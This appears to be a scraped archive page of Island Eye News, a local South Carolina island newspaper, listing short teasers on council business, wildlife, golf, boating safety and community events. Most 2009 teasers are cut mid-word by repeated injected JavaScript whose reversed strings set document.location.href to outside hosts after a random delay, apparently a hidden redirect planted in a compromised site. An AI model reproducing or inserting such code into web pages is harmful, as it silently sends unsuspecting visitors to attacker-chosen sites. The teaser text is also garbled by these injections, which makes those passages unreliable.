Elizabeth Smith Darrah of Winston-Salem, North Carolina, was in for a surprise when she visited the Isle of Palms during the last week of June. On their first full day at the beach, an animal control officer pulled a “wayward gator” from the ocean next to the IOP pier. Darrah, who snapped the picture of …
Isle Of Palms Marina Leases Left Unsigned As Discussions Linger
By Brian Sherman for The Island Eye News After nearly four hours in executive session on Aug. 2, members of the Isle of Palms City Council approved fewer than half of the proposed amendments to …
Isle Of Palms Half Rubber Tournament Nears Quarter-century Event
Staff Report for Island Eye News The 24th annual IOP Half Rubber Tournament will take place on Saturday, Aug. 13 at the Isle of Palms Recreation Department at 8 a.m. Teams can consist of three …
Local Parks Generate Near $30 Million In Tourism Dollars
Staff Report for Island Eye News A new National Park Service report shows that 349,000 visitors to Fort Sumter and Fort Moultrie National Historical Park in 2021 spent $22.8 million in communities near the park. …
July Is A Jubilant Time For Targeting Fish
By Geoff Bennett for Island Eye News July can be one of the most productive months of the year for fishing. The combination of the usual targets like redfish and trout and summer seasonal species …
Gogh See For Yourself
Staff Report for Island Eye News Beyond Van Gogh: The Immersive Experience, an internationally-acclaimed Vincent Van Gogh multimedia exhibit, is now open to Charleston locals and visitors at the Charleston Area Convention Center. The event …
Jun 27 2009
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Jun 26 2009
News from the neighborhood: IOPNA Pig Pickin’ Party
By Catherine Malloy The morning of our Pig Pickin’ day dawned with buckets of rain and more rain. The downpour was great for our lawns, but was a damper on our party plans. We were a little concerned about what the conditions would be like by 4pm; the time the Pig Pickin’ was toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); …
Jun 26 2009
IOP Council takes it to court
On June 11, the Isle of Palms City Council took members of the IOP Recreation, Fire and Public Works departments to court: the volleyball court, that is. To show their support for the Windjammer and to ease tensions over a recent issue with the bar’s volleyball posts on the beach, Council members and public servants …
Jun 26 2009
Ben Sawyer trestles completed on schedule
Provided by the SC Department of Transportation While the design/build team for the rehabilitation of the Ben Sawyer Bridge has until May 2010 toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to complete the project, they would like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var …
Jun 26 2009
Giant asparagus stalks island
A giant monster looms over the intersection of Middle Street and Station 22 ½ on Sullivan’s Island, and its great arms reach out over the roof of a small pink and teal island home. For a while, most island residents thought it looked like a giant asparagus until it began toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay …
Jun 26 2009
18th hole returns to Wild Dunes
It was another sweltering hot day for the Lowcountry on June 12, but that didn’t deter several groups of golfers from enjoying the first day of the return of the 18th hole at Wild Dune’s Links Course. After erosion took a large bite out of the famed oceanfront hole, it took close to twenty months …
Jun 25 2009
Courtesy boat inspections during the July 4 weekend
In an effort toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep state waterways safe during the upcoming July 4th holiday weekend, the S.C. Department of Natural Resources Law Enforcement Division will again be conducting courtesy safety inspections at some public boat landings. The …
Jun 24 2009
Redtail Hawk Rescue
Provided by Mary Pringle Redtailed Hawks are very common on the Isle of Palms and on Sullivan’s Island. They help toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep the rodent population in check and can even be seen hovering over the shore, looking …
May 27 2009
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Island Eye News is the newspaper for the Isle of Palms and Sullivan’s Island; barrier islands located on the coast of Charlestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}ton, South Carolina. The Island Eye News is delivered every two weeks toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var …